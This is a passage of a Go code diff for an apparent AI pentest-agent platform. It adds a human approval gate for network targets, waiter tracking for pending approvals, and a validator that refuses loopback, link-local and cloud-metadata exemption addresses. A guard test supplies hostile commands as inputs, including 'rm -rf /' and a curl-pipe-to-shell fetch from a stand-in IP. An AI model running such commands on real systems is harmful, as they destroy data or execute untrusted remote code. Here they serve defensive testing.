 // New creates a Guard without user-configured intercept rules (used for pentest
@@ -43,6 +44,16 @@ func New() *Guard { return newGuard(nil) }
 // NewWithInterceptor creates a Guard with user-configured intercept rules.
 func NewWithInterceptor(ic *intercept.Interceptor) *Guard { return newGuard(ic) }
 
+// NewTargetOnly creates the Guard for the planner and the main agent. Their tool
+// calls pass through the target gate only: the intercept rules and the fallback
+// judge are not extended to them, and their calls are not written to the audit
+// ring (which keeps the worker history of the task's main Guard).
+func NewTargetOnly(ic *intercept.Interceptor) *Guard {
+	g := &Guard{attrib: map[string]int{}, interceptor: ic, targetOnly: true}
+	g.reg = hook.NewRegistry().On(hook.PreToolUse, g.preToolUse)
+	return g
+}
+
 func newGuard(ic *intercept.Interceptor) *Guard {
 	g := &Guard{attrib: map[string]int{}, interceptor: ic}
 	g.reg = hook.NewRegistry().
@@ -55,6 +66,10 @@ func newGuard(ic *intercept.Interceptor) *Guard {
 func (g *Guard) Hooks() *hook.Registry { return g.reg }
 
 func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
+	if g.targetOnly {
+		// Not recorded: the audit ring is for the gated worker and chat calls.
+		return g.applyIntercept(ctx, ev)
+	}
 	// Extract the shell-command surface for the audit log: Bash + the interactive-shell
 	// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
 	// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
@@ -78,9 +93,19 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
 	return g.applyIntercept(ctx, ev)
 }
 
+// targetGate is the seam of the approval gate for asset targets. The gate is not
+// wired in yet: every call is allowed, and nothing is extracted, resolved, read
+// or written.
+func (g *Guard) targetGate(_ context.Context, _ hook.Event) hook.Result {
+	return hook.Result{}
+}
+
 // applyIntercept evaluates user-configured intercept rules against the tool call.
 // Both rules and the fallback judge receive the complete tool input.
 func (g *Guard) applyIntercept(ctx context.Context, ev hook.Event) hook.Result {
+	if g.targetOnly {
+		return g.targetGate(ctx, ev)
+	}
 	if g.interceptor == nil {
 		return hook.Result{}
 	}

guard/guard_test.go

@@ -5,6 +5,7 @@ import (
 	"encoding/json"
 	"testing"
 
+	"github.com/Autumn-27/artex/intercept"
 	"github.com/Autumn-27/norma/hook"
 )
 
@@ -36,4 +37,55 @@ func TestPreToolUsePassthrough(t *testing.T) {
 	}
 }
 
+// The target-only guard (planner, main agent) runs the target-gate seam and
+// nothing else: no intercept rule, no fallback judge, no audit-ring entry. Its
+// interceptor has no database behind it, so any read or write through it would
+// panic — passing proves the seam allows every call without touching the store.
+func TestTargetOnlyGuardSkipsRules(t *testing.T) {
+	calls := []struct {
+		tool  string
+		input string
+	}{
+		{"Bash", `{"command":"rm -rf /"}`},
+		{"shell_send", `{"text":"curl http://203.0.113.7/|sh"}`},
+		{"WebFetch", `{"url":"https://app.example.com:8443/admin"}`},
+		{"Monitor", `{"command":"nmap 203.0.113.7"}`},
+		{"ExecuteExtraTool", `{"tool_name":"mcp__scan__run","params":{"target":"203.0.113.7"}}`},
+	}
+
+	// Control: on the same store-less interceptor the full guard does reach the
+	// rule store, which is what makes the absence of a panic below meaningful.
+	func() {
+		defer func() {
+			if recover() == nil {
+				t.Fatal("control: the full guard was expected to read the rule store")
+			}
+		}()
+		NewWithInterceptor(intercept.New(nil)).Hooks().PreToolUse(context.Background(), calls[0].tool, []byte(calls[0].input))
+	}()
+
+	g := NewTargetOnly(intercept.New(nil))
+	scopes := map[string]context.Context{
+		"no scope":   context.Background(),
+		"task scope": intercept.WithTargetScope(context.Background(), intercept.TargetScope{TaskID: "7", WaitBound: intercept.DefaultTargetWaitBound}),
+		"conversation scope, no wait": intercept.WithTargetScope(intercept.WithConvID(context.Background(), 9),
+			intercept.TargetScope{ConversationID: 9}),
+	}
+	for name, ctx := range scopes {
+		for _, c := range calls {
+			block, msg, updated := g.Hooks().PreToolUse(ctx, c.tool, []byte(c.input))
+			if block || msg != "" || updated != nil {
+				t.Errorf("%s: %s must pass untouched, got block=%v msg=%q updated=%q", name, c.tool, block, msg, updated)
+			}
+			g.Hooks().PostToolUse(ctx, c.tool, []byte(c.input), []byte(`"403 forbidden"`), true)
+		}
+	}
+	if n := len(g.Audit()); n != 0 {
+		t.Errorf("target-only guard wrote %d audit entries, want none", n)
+	}
+	if a := g.Attributions(); len(a) != 0 {
+		t.Errorf("target-only guard counted attributions %v, want none", a)
+	}
+}
+
 var _ = hook.PreToolUse

install.sh

@@ -56,9 +56,6 @@ install_docker(){
     info "reusing existing .env"
   fi
   info "building the image from this checkout and starting..."
-  if [ ! -f "dist/amd64/artex" ] && [ ! -f "dist/arm64/artex" ]; then
-    warn "no prebuilt binary under dist/ - build it first (frontend, then go build -tags embedui); see the Dockerfile header"
-  fi
   docker compose up -d --build
   ok "started → http://localhost:8787"
   info "view logs: docker compose logs -f artex"

intercept/intercept.go

@@ -76,42 +76,91 @@ func taskEmitFromCtx(ctx context.Context) func(db.Activity) {
 	return f
 }
 
+// targetScopeCtxKey is a separate unexported key type for the target-gate scope.
+type targetScopeCtxKey struct{}
+
+// DefaultTargetWaitBound is how long a gated tool call may wait for a human
+// decision on an unpinned target before it fails with the request left open.
+const DefaultTargetWaitBound = 300 * time.Second
+
+// TargetScope is what an approval for an asset target is bound to: one task
+// (TaskID) or one conversation (ConversationID), never both. Enabled reports the
+// scope's opt-in flag and is read on every gated call; nil means the gate is off.
+// WaitBound caps the wait for a human decision; 0 means never wait.
+// Interceptor is the one that owns the gate of this session, so that code
+// holding only a context (an HTTP redirect callback) can reach it.
+type TargetScope struct {
+	TaskID         string
+	ConversationID int64
+	Enabled        func() bool
+	WaitBound      time.Duration
+	Interceptor    *Interceptor
+}
+
+// WithTargetScope returns a child context carrying the target-gate scope of the
+// session that runs on it.
+func WithTargetScope(ctx context.Context, s TargetScope) context.Context {
+	return context.WithValue(ctx, targetScopeCtxKey{}, s)
+}
+
+// TargetScopeFromContext extracts the target-gate scope (ok is false if absent).
+func TargetScopeFromContext(ctx context.Context) (s TargetScope, ok bool) {
+	s, ok = ctx.Value(targetScopeCtxKey{}).(TargetScope)
+	return s, ok
+}
+
 // compiledRule is an InterceptRule with the regex pre-compiled (nil for string rules).
 type compiledRule struct {
 	db.InterceptRule
 	re *regexp.Regexp
 }
 
-// pendingManager tracks in-flight "ask" requests via per-request channels.
+// pendingManager tracks in-flight approval requests via per-waiter channels. A
+// classic ask has one waiter; a target request can have several (every call
+// that names the same host waits on the same row).
 type pendingManager struct {
 	mu sync.Mutex
-	ch map[int64]chan bool
+	ch map[int64][]chan bool
 }
 
-func newPendingManager() *pendingManager { return &pendingManager{ch: map[int64]chan bool{}} }
+func newPendingManager() *pendingManager { return &pendingManager{ch: map[int64][]chan bool{}} }
 
+// add registers one more waiter for id and returns its channel.
 func (p *pendingManager) add(id int64) chan bool {
 	ch := make(chan bool, 1)
 	p.mu.Lock()
-	p.ch[id] = ch
+	p.ch[id] = append(p.ch[id], ch)
 	p.mu.Unlock()
 	return ch
 }
 
+// resolve wakes every waiter of id with the decision.
 func (p *pendingManager) resolve(id int64, allowed bool) {
 	p.mu.Lock()
-	ch, ok := p.ch[id]
+	waiters := p.ch[id]
 	delete(p.ch, id)
 	p.mu.Unlock()
-	if ok {
+	for _, ch := range waiters {
 		ch <- allowed
 	}
 }
 
-func (p *pendingManager) remove(id int64) {
+// remove takes one waiter's channel out; the other waiters of id stay.
+func (p *pendingManager) remove(id int64, ch chan bool) {
 	p.mu.Lock()
-	delete(p.ch, id)
-	p.mu.Unlock()
+	defer p.mu.Unlock()
+	waiters := p.ch[id]
+	for n, w := range waiters {
+		if w == ch {
+			waiters = append(waiters[:n:n], waiters[n+1:]...)
+			break
+		}
+	}
+	if len(waiters) == 0 {
+		delete(p.ch, id)
+		return
+	}
+	p.ch[id] = waiters
 }
 
 // Reviewer runs the LLM fallback judge for one tool call and returns its verdict
@@ -129,6 +178,18 @@ type Interceptor struct {
 	enabledTools map[string]bool // nil means not loaded yet
 	pending      *pendingManager
 	reviewer     Reviewer // nil = LLM fallback judge not wired
+	// upstreamProxy reports whether target traffic leaves through an upstream
+	// egress proxy (nil = no). Injected by the server layer.
+	upstreamProxy func() bool
+}
+
+// SetUpstreamProxyCheck installs the function that reports whether an upstream
+// egress proxy is configured. Behind one the proxy chooses the address it
+// connects to, so a target approval given while it is set is name-only.
+func (i *Interceptor) SetUpstreamProxyCheck(f func() bool) {
+	i.mu.Lock()
+	i.upstreamProxy = f
+	i.mu.Unlock()
 }
 
 // SetReviewer installs the LLM fallback judge callback. Passing nil disables it.
@@ -476,11 +537,7 @@ func (i *Interceptor) Judge(ctx context.Context, tool string, arguments json.Raw
 	out.ProfileID = cfg.ProfileID
 	configJSON, _ := json.Marshal(cfg)
 	out.ConfigDigest = digestInput(configJSON)
-	if out.Message == "" {
-		out.Message = "[model] " + judgeActionLabel(out.Action)
-	} else if !strings.HasPrefix(out.Message, "[model]") {
-		out.Message = "[model] " + out.Message
-	}
+	out.Message = JudgeReason(out.Action, out.Message)
 	if out.Action == "ask" {
 		out.TimeoutEnabled = true
 		out.TimeoutSeconds = cfg.AskTimeoutSeconds
@@ -489,6 +546,19 @@ func (i *Interceptor) Judge(ctx context.Context, tool string, arguments json.Raw
 	return out, true
 }
 
+// JudgeReason is the reason stored for a judge verdict: the model's message, or
+// a label for the action when it gave none, carrying db.ModelReasonPrefix so
+// the db readers record decision_source='model'.
+func JudgeReason(action, message string) string {
+	if message == "" {
+		return db.ModelReasonPrefix + " " + judgeActionLabel(action)
+	}
+	if !strings.HasPrefix(message, db.ModelReasonPrefix) {
+		return db.ModelReasonPrefix + " " + message
+	}
+	return message
+}
+
 func judgeActionLabel(action string) string {
 	switch action {
 	case "allow":
@@ -594,7 +664,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 
 	i.bindResult(ctx, pendingID, audit)
 	ch := i.pending.add(pendingID)
-	defer i.pending.remove(pendingID)
+	defer i.pending.remove(pendingID, ch)
 	// Polling clients can decide after INSERT commits but before the channel is
 	// registered. Re-read after registration so that decision cannot be lost;
 	// later decisions will be delivered through ch.
@@ -628,7 +698,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 		case allowed := <-ch:
 			return allowed
 		case <-ctx.Done():
-			_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled")
+			_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled", "system")
 			_ = i.db.CompleteIntercept(pendingID, audit.RunID, audit.ToolUseID, "not_executed", "work cancelled before execution", false)
 			return false
 		}
@@ -649,7 +719,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 		if allowed {
 			action = "allow"
 		}
-		resolved, err := i.db.ResolveIntercept(pendingID, "timeout", action, "approval timed out, applying timeout policy")
+		resolved, err := i.db.ResolveIntercept(pendingID, "timeout", action, "approval timed out, applying timeout policy", "system")
 		if err != nil {
 			return false
 		}
@@ -659,7 +729,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 		}
 		return allowed
 	case <-ctx.Done():
-		_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled")
+		_, _ = i.db.ResolveIntercept(pendingID, "denied", "deny", "work cancelled", "system")
 		_ = i.db.CompleteIntercept(pendingID, audit.RunID, audit.ToolUseID, "not_executed", "work cancelled before execution", false)
 		return false
 	}
@@ -668,7 +738,11 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
 
 // Decide resolves a pending request. Called by the HTTP decide endpoint.
-func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
+// approver (subject of the session token) and remoteAddr identify the human
+// behind the decision; they are recorded in the row's audit. On a target
+// request "allowed" also pins the addresses the request displayed, and both
+// values go to the pin: a human decision is the only thing that creates a pin.
+func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
 	status := "denied"
 	if allowed {
 		status = "allowed"
@@ -677,7 +751,16 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
 	if allowed {
 		action, reason = "allow", "user approved execution"
 	}
-	resolved, err := i.db.ResolveIntercept(pendingID, status, action, reason)
+	targetKey, err := i.db.TargetRequestKey(pendingID)
+	if err != nil {
+		return err
+	}
+	var resolved bool
+	if targetKey != "" {
+		_, resolved, err = i.db.ResolveTargetRequest(pendingID, allowed, approver, remoteAddr)
+	} else {
+		resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
+	}
 	if err != nil {
 		return err
 	}

intercept/target_exempt.go

@@ -0,0 +1,53 @@
+package intercept
+
+import (
+	"fmt"
+	"net/netip"
+)
+
+// metadataAddrs are instance-metadata addresses that lie outside the link-local
+// ranges and would otherwise pass as private or public unicast.
+var metadataAddrs = []netip.Addr{
+	netip.MustParseAddr("fd00:ec2::254"),   // AWS IMDS over IPv6
+	netip.MustParseAddr("100.100.100.200"), // Alibaba Cloud
+}
+
+// ValidateExemptionHost checks the host of an entry an operator adds to the
+// target-gate exemption list. host is expected in normalised form.
+//
+// An exemption on a name is resolved at check time and is void when the name
+// resolves to a private, loopback, link-local or unspecified address. An IP
+// literal is never resolved, so that rule cannot protect it and the literal is
+// checked here instead. A private unicast address is allowed: an internal
+// service the operator names on purpose (10.0.0.5:8080). Loopback, link-local
+// (169.254.0.0/16 holds the cloud metadata address 169.254.169.254; fe80::/10),
+// unspecified and multicast addresses are never accepted, nor are the metadata
+// addresses outside the link-local ranges. A host that is not an IP literal
+// passes: names are the void rule's business.
+func ValidateExemptionHost(host string) error {
+	addr, err := netip.ParseAddr(host)
+	if err != nil {
+		return nil
+	}
+	addr = addr.Unmap().WithZone("")
+	kind := ""
+	switch {
+	case addr.IsLoopback():
+		kind = "a loopback"
+	case addr.IsUnspecified():
+		kind = "the unspecified"
+	case addr.IsLinkLocalUnicast():
+		kind = "a link-local (metadata range)"
+	case addr.IsMulticast():
+		kind = "a multicast"
+	}
+	for _, m := range metadataAddrs {
+		if addr == m {
+			kind = "an instance-metadata"
+		}
+	}
+	if kind != "" {
+		return fmt.Errorf("%s is %s address and can never be exempt from target approval", host, kind)
+	}
+	return nil
+}

intercept/target_exempt_test.go

@@ -0,0 +1,29 @@
+package intercept
+
+import "testing"
+
+// An operator may exempt a private unicast IP literal, never a loopback,
+// link-local (cloud metadata), unspecified or multicast one.
+func TestValidateExemptionHost(t *testing.T) {
+	for _, host := range []string{
+		"10.0.0.5", "172.16.0.1", "192.168.1.1", "fd00::1", // private unicast
+		"203.0.113.7", "2001:db8::1", // public
+		"pypi.org", "internal.corp", "localhost", // names: the void rule's business
+	} {
+		if err := ValidateExemptionHost(host); err != nil {
+			t.Errorf("%s refused: %v", host, err)
+		}
+	}
+	for _, host := range []string{
+		"169.254.169.254", "169.254.170.2", "169.254.0.1", "fe80::1", "fe80::1%eth0", // link-local, metadata
+		"::ffff:169.254.169.254",           // the same address, IPv4-mapped
+		"fd00:ec2::254", "100.100.100.200", // metadata outside link-local
+		"127.0.0.1", "127.8.8.8", "::1", "::ffff:127.0.0.1", // loopback
+		"0.0.0.0", "::", // unspecified
+		"224.0.0.1", "239.255.255.250", "ff02::1", "ff05::2", // multicast
+	} {
+		if err := ValidateExemptionHost(host); err == nil {
+			t.Errorf("%s accepted, want it refused", host)
+		}
+	}
+}

intercept/target_request.go

@@ -0,0 +1,374 @@
+package intercept
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"net"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+// Block codes a target request can end with. They are carried in the
+// model-facing text of the blocked call.
+const (
+	// TargetApprovalPending: no decision within the wait bound. The request
+	// stays open, so a later approval still creates the pin.
+	TargetApprovalPending = "TARGET_APPROVAL_PENDING"
+	// TargetDenied: the request was closed without an approval.
+	TargetDenied = "TARGET_DENIED"
+	// TargetGateUnavailable: the request could not be written or read.
+	TargetGateUnavailable = "TARGET_GATE_UNAVAILABLE"
+)
+
+// targetPollInterval is how often a waiter re-reads its request row. The poll
+// covers a decision taken on another instance that shares the database.
+var targetPollInterval = 2 * time.Second
+
+// TargetRequest is one target of a gated call that no pin covers.
+type TargetRequest struct {
+	Host string // normalised name, IP literal or CIDR; with Port the key of the request
+	Port int    // 0 = port not declared
+	Kind string
+	// ResolvedIPs are the addresses resolved for this request. They are what the
+	// human reads and what an approval pins.
+	ResolvedIPs []string
+	Resolver    string
+	ResolvedAt  time.Time
+	Reason      string        // no_pin | new_ip | revoked
+	Pin         *db.TargetPin // the active pin an approval would extend (new_ip); nil otherwise
+}
+
+// TargetResult is the outcome of RequestTargets. Code is empty when every
+// request the call waited on was approved (or was decided in between): the
+// caller then re-runs the pin lookup and executes only if every target is
+// covered. Otherwise Code is the block code and Host, Port and PendingID name
+// the request that stopped the call.
+type TargetResult struct {
+	Code      string
+	Host      string
+	Port      int
+	PendingID int64
+	Reason    string
+	// AskMerged reports that the ask passed in was carried by a request this call
+	// created, so its decision answered both. When false the caller still has to
+	// raise the ask on its own.
+	AskMerged bool
+}
+
+func (s TargetScope) ref() (db.TargetScopeRef, error) {
+	ref := db.TargetScopeRef{ConversationID: s.ConversationID}
+	if s.TaskID != "" {
+		id, err := strconv.ParseInt(s.TaskID, 10, 64)
+		if err != nil {
+			return ref, fmt.Errorf("target scope: task id %q: %w", s.TaskID, err)
+		}
+		ref.TaskID = id
+	}
+	return ref, nil
+}
+
+// scopeName is how a request text names what an approval is bound to.
+func (s TargetScope) scopeName() string {
+	if s.TaskID != "" {
+		return "task " + s.TaskID
+	}
+	return "conversation " + strconv.FormatInt(s.ConversationID, 10)
+}
+
+// targetWaiter is one request row a call waits on.
+type targetWaiter struct {
+	target  TargetRequest
+	id      int64 // 0 = the open request was decided in between: nothing to wait for
+	created bool  // this call wrote the row
+}
+
+// RequestTargets asks a human to approve the targets of one gated call that no
+// pin covers, and waits for the decisions up to the scope's wait bound.
+//
+// There is one open request per (scope, host, port). The first call writes the
+// row and emits the approval card once; later calls for the same key attach to
+// that row and wait on it. A request is durable and host-level: a call that
+// stops waiting (bound elapsed, cancelled) leaves it open, and a later approval
+// still creates the pin. Nothing here ever pins: only Decide does, on a click.
+//
+// ask is the pending ask of a rule or of the judge for the same call, nil when
+// there is none. It is merged into the first row this call creates, so one
+// click answers both. A merged row is bound to its creating call like a classic
+// ask: when that call leaves, the system settles it, and a rule timeout never
+// allows it, because a timeout cannot pin.
+func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, toolName string, input []byte, targets []TargetRequest, ask *Decision) TargetResult {
+	ref, err := scope.ref()
+	if err != nil {
+		return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
+	}
+	if scope.WaitBound <= 0 {
+		// A call that never waits cannot own a call-bound row.
+		ask = nil
+	}
+
+	var res TargetResult
+	var merged *targetWaiter
+	var mergedAsk Decision
+	// Whatever the way out, a merged row never outlives its creating call. This
+	// is a no-op once the row is decided.
+	defer func() {
+		if merged != nil {
+			i.settleMerged(merged.id, "denied", "the call left before a decision")
+		}
+	}()
+
+	waiters := make([]*targetWaiter, 0, len(targets))
+	for _, t := range targets {
+		w, err := i.openTargetRequest(ctx, ref, scope, toolName, input, t, ask)
+		if err != nil {
+			res.Code, res.Host, res.Port, res.Reason = TargetGateUnavailable, t.Host, t.Port, err.Error()
+			return res
+		}
+		if w.created && ask != nil {
+			merged, mergedAsk, res.AskMerged = w, *ask, true
+			ask = nil
+		}
+		waiters = append(waiters, w)
+	}
+	if len(waiters) == 0 {
+		return res
+	}
+
+	blocked := func(w *targetWaiter, code, reason string) TargetResult {
+		res.Code, res.Host, res.Port, res.PendingID, res.Reason = code, w.target.Host, w.target.Port, w.id, reason
+		return res
+	}
+	if scope.WaitBound <= 0 {
+		return blocked(waiters[0], TargetApprovalPending, "this call does not wait for approvals; the request stays open")
+	}
+	bound := time.NewTimer(scope.WaitBound)
+	defer bound.Stop()
+
+	// The merged row first: its rule timeout runs from the creation of the row.
+	if merged != nil {
+		var ruleTimeout <-chan time.Time
+		if mergedAsk.TimeoutEnabled {
+			secs := mergedAsk.TimeoutSeconds
+			if secs <= 0 {
+				secs = 60
+			}
+			timer := time.NewTimer(time.Duration(secs) * time.Second)
+			defer timer.Stop()
+			ruleTimeout = timer.C
+		}
+		status, reason := "", ""
+		switch st := i.awaitTarget(ctx, merged.id, bound.C, ruleTimeout); st {
+		case "allowed":
+		case waitRuleTimeout:
+			status, reason = "timeout", "approval timed out"
+			if mergedAsk.TimeoutAction == "allow" {
+				reason += `; the timeout action "allow" was overridden, because a timeout cannot pin a target`
+			}
+		case waitElapsed:
+			status, reason = "timeout", "no approval within the wait bound"
+		case waitCancelled:
+			status, reason = "denied", "work cancelled"
+		case waitGone:
+			return blocked(merged, TargetGateUnavailable, "the approval request no longer exists")
+		default:
+			return blocked(merged, TargetDenied, "the request was denied")
+		}
+		// A human decision that lands while the call is leaving still counts.
+		if status != "" && (i.settleMerged(merged.id, status, reason) || !i.targetAllowed(merged.id)) {
+			return blocked(merged, TargetDenied, reason)
+		}
+	}
+
+	for _, w := range waiters {
+		if w == merged || w.id == 0 {
+			continue
+		}
+		st := i.awaitTarget(ctx, w.id, bound.C, nil)
+		if (st == "denied" || st == "timeout") && !w.created && i.wasMerged(w.id) {
+			// The row this call attached to was bound to another call and closed
+			// with it. That says nothing about the host: ask once more, with a
+			// plain request.
+			retry, err := i.openTargetRequest(ctx, ref, scope, toolName, input, w.target, nil)
+			if err != nil {
+				return blocked(w, TargetGateUnavailable, err.Error())
+			}
+			if retry.id == 0 {
+				continue
+			}
+			w = retry
+			st = i.awaitTarget(ctx, w.id, bound.C, nil)
+		}
+		switch st {
+		case "allowed":
+		case waitElapsed:
+			return blocked(w, TargetApprovalPending, "no approval within the wait bound; the request stays open")
+		case waitCancelled:
+			return blocked(w, TargetApprovalPending, "work cancelled; the request stays open")
+		case waitGone:
+			return blocked(w, TargetGateUnavailable, "the approval request no longer exists")
+		default:
+			return blocked(w, TargetDenied, "the request was denied")
+		}
+	}
+	return res
+}
+
+// openTargetRequest finds or creates the request row for one target. When this
+// call writes the row it emits the approval card; an attaching call writes and
+// emits nothing, and never rewrites the addresses a human may be reading.
+func (i *Interceptor) openTargetRequest(ctx context.Context, ref db.TargetScopeRef, scope TargetScope, toolName string, input []byte, t TargetRequest, ask *Decision) (*targetWaiter, error) {
+	i.mu.RLock()
+	proxied := i.upstreamProxy
+	i.mu.RUnlock()
+	// Behind the upstream proxy the proxy chooses the address: the approval is
+	// for the name, and the pin created from this row says so.
+	nameOnly := proxied != nil && proxied()
+
+	dec := Decision{Action: "ask"}
+	if ask != nil {
+		dec = *ask
+	}
+	dec.Message = targetReason(scope, t, ask, nameOnly)
+	audit := auditFor(ctx, dec, input, "pending")
+	audit.MergedAsk = ask != nil
+	target := db.InterceptTarget{
+		Host: t.Host, Port: t.Port, Kind: t.Kind,
+		ResolvedIPs: t.ResolvedIPs, Resolver: t.Resolver, ResolvedAt: t.ResolvedAt,
+		Reason: t.Reason, Outcome: "requested", NameOnlyEffective: nameOnly,
+	}
+	if t.Pin != nil {
+		target.PinID, target.PinVersion, target.PinnedIPs = t.Pin.ID, t.Pin.Version, t.Pin.PinnedIPs
+	}
+	audit.Targets = []db.InterceptTarget{target}
+
+	_, agentName := taskInfoFromCtx(ctx)
+	id, created, err := i.db.FindOrCreateTargetRequest(db.TargetRequest{
+		Scope: ref, Host: t.Host, Port: t.Port, RuleID: dec.RuleID,
+		AgentName: agentName, ToolName: toolName, ToolInput: input, Reason: dec.Message, Audit: audit,
+	})
+	if err != nil {
+		return nil, err
+	}
+	w := &targetWaiter{target: t, id: id, created: created}
+	if !created {
+		return w, nil
+	}
+	if ask != nil {
+		// Call-bound like a classic ask: the result of this call belongs to the row.
+		i.bindResult(ctx, id, audit)
+	}
+	detail, _ := json.Marshal(map[string]any{
+		"pending_id": id,
+		"tool":       toolName,
+		"input":      json.RawMessage(input),
+	})
+	activity := db.Activity{
+		Kind:    "intercept_request",
+		Summary: fmt.Sprintf("tool %s requests approval for target %s (#%d)", toolName, targetName(t), id),
+		Detail:  string(detail),
+	}
+	if scope.ConversationID != 0 {
+		_, _ = i.db.AppendConvActivity(scope.ConversationID, activity)
+	} else if emit := taskEmitFromCtx(ctx); emit != nil {
+		emit(activity)
+	}
+	return w, nil
+}
+
+// Ways a wait ends without a decision on the row.
+const (
+	waitElapsed     = "wait_elapsed"      // the scope's wait bound
+	waitRuleTimeout = "wait_rule_timeout" // the timeout of a merged ask
+	waitCancelled   = "wait_cancelled"    // the call's context
+	waitGone        = "wait_gone"         // the row no longer exists (its conversation was deleted)
+)
+
+// awaitTarget waits for the decision on one request row and returns its status
+// (allowed | denied | timeout) or the way the wait ended. It never settles the
+// row. The row is re-read before each wait: that covers a decision taken before
+// the waiter registered, and one taken on another instance.
+func (i *Interceptor) awaitTarget(ctx context.Context, id int64, bound, ruleTimeout <-chan time.Time) string {
+	ch := i.pending.add(id)
+	defer i.pending.remove(id, ch)
+	poll := time.NewTicker(targetPollInterval)
+	defer poll.Stop()
+	for {
+		row, err := i.db.GetInterceptPending(id)
+		if err == nil && row == nil {
+			return waitGone
+		}
+		if err == nil && row.Status != "pending" {
+			return row.Status
+		}
+		select {
+		case <-ch:
+		case <-poll.C:
+		case <-bound:
+			return waitElapsed
+		case <-ruleTimeout:
+			return waitRuleTimeout
+		case <-ctx.Done():
+			return waitCancelled
+		}
+	}
+}
+
+// settleMerged closes a merged row on behalf of its creating call, which is
+// leaving, and wakes the calls attached to it. It reports whether the row was
+// still open; a merged row closed this way never pins.
+func (i *Interceptor) settleMerged(id int64, status, reason string) bool {
+	resolved, err := i.db.ResolveIntercept(id, status, "deny", reason, "system")
+	if err != nil || !resolved {
+		return false
+	}
+	i.pending.resolve(id, false)
+	return true
+}
+
+func (i *Interceptor) targetAllowed(id int64) bool {
+	row, err := i.db.GetInterceptPending(id)
+	return err == nil && row != nil && row.Status == "allowed"
+}
+
+func (i *Interceptor) wasMerged(id int64) bool {
+	detail, err := i.db.GetInterceptDetail(id)
+	return err == nil && detail != nil && detail.Audit != nil && detail.Audit.MergedAsk
+}
+
+func targetName(t TargetRequest) string {
+	if t.Port == 0 {
+		return t.Host
+	}
+	return net.JoinHostPort(t.Host, strconv.Itoa(t.Port))
+}
+
+// targetReason is the text a human reads before deciding: host, port, the
+// addresses an approval pins, and what the approval is bound to.
+func targetReason(scope TargetScope, t TargetRequest, ask *Decision, nameOnly bool) string {
+	var b strings.Builder
+	if ask != nil && ask.Message != "" {
+		b.WriteString(ask.Message)
+		b.WriteString("\nThis call also names a target that needs approval. ")
+	}
+	name, bound := targetName(t), scope.scopeName()
+	if t.Port == 0 {
+		name += " (port not declared: every port)"
+	}
+	ips := strings.Join(t.ResolvedIPs, ", ")
+	if t.Pin != nil {
+		fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
+			name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
+	} else {
+		fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
+	}
+	fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
+	if nameOnly {
+		b.WriteString(" Egress goes through the upstream proxy, which chooses the address it connects to." +
+			" The addresses listed are what the platform resolved. This approval is name-only.")
+	}
+	return b.String()
+}

intercept/target_request_test.go

@@ -0,0 +1,754 @@
+package intercept
+
+import (
+	"context"
+	"fmt"
+	"slices"
+	"strconv"
+	"strings"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+func TestPendingWakesAllWaiters(t *testing.T) {
+	p := newPendingManager()
+	a, b, gone := p.add(1), p.add(1), p.add(1)
+	other := p.add(2)
+	p.remove(1, gone)
+	p.resolve(1, true)
+	for name, ch := range map[string]chan bool{"first": a, "second": b} {
+		select {
+		case allowed := <-ch:
+			if !allowed {
+				t.Fatalf("%s waiter got a denial", name)
+			}
+		default:
+			t.Fatalf("%s waiter of the request was not woken", name)
+		}
+	}
+	select {
+	case <-gone:
+		t.Fatal("a removed waiter was woken")
+	case <-other:
+		t.Fatal("a waiter of another request was woken")
+	default:
+	}
+	if len(p.ch) != 1 || len(p.ch[2]) != 1 {
+		t.Fatalf("waiters left = %v, want only the one of request 2", p.ch)
+	}
+	// Resolving a request nobody waits on, twice, blocks nobody.
+	p.resolve(1, true)
+	p.resolve(2, false)
+	if allowed := <-other; allowed {
+		t.Fatal("the waiter of request 2 got an approval")
+	}
+	p.remove(2, other)
+	if len(p.ch) != 0 {
+		t.Fatalf("waiters left = %v, want none", p.ch)
+	}
+}
+
+func targetTestDB(t *testing.T) *db.DB {
+	t.Helper()
+	dsn, _, err := db.DSN()
+	if err != nil {
+		t.Skipf("no database config (%v) - skipping", err)
+	}
+	d, err := db.Open(dsn)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { d.Close() })
+	return d
+}
+
+// taskScope creates a task and returns its target scope on ic, with the gate
+// on and the given wait bound.
+func taskScope(t *testing.T, d *db.DB, ic *Interceptor, wait time.Duration) TargetScope {
+	t.Helper()
+	task, err := d.CreateTaskWithOptions("target requests", "request, wait, decide", db.TaskCreateOptions{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	id := strconv.FormatInt(task.ID, 10)
+	t.Cleanup(func() {
+		_ = d.DeleteTask(task.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE task_id=$1`, task.ID)
